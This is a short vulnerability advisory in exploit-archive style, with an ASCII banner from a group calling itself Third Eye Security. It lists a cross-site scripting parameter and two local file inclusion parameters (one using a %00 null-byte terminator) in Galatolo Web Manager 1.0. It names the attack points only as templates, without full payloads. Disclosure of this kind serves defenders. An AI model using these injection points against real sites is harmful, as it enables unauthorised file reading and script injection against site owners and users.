Galatolo Web Manager 1.0 XSS / Local File Inclusion Vulnerability

[*]================================================================================[*]  |             _____ _     _         _   _____                                      |  |            |_   _| |__ (_)_ __ __| | | ____|   _  ___                            |  |              | | | '_ \| | '__/ _` | |  _|| | | |/ _ \                           |  |              | | | | | | | | | (_| | | |__| |_| |  __/                           |   |              |_| |_| |_|_|_|  \__,_| |_____\__, |\___|                           |  |                                            |___/                                 |  |              ____                       _ _                                      |   |             / ___|  ___  ___ _   _ _ __(_) |_ _   _                              |  |             \___ \ / _ \/ __| | | | '__| | __| | | |                             |  |              ___) |  __/ (__| |_| | |  | | |_| |_| |                             |  |             |____/ \___|\___|\__,_|_|  |_|\__|\__, |                             |  |                                               |___/                              | [*]================================================================================[*]  |  Author: StAkeR ~ StAkeR@hotmail.it                                              | [*]================================================================================[*]  |  Third Eye Security Members => Osirys,StAkeR,Over_Flow,Miclen                    | [*]================================================================================[*]   |  Galatolo WebManager 1.0 <= Cross Site Scripting and Local File Inclusion        | [*]================================================================================[*]  |  Download: http://www.gwm.dev-area.org/GWM.zip     | [*]================================================================================[*]  |  Cross Site Scripting =>    /result.php?key= [Your code javascript]              |  |  Local File Inclusion =>    admin/plugins.php?plugin= [File]                     |  |  Local File Inclusion =>    index.php?com= [File]%00  [File]                     | [*]================================================================================[*]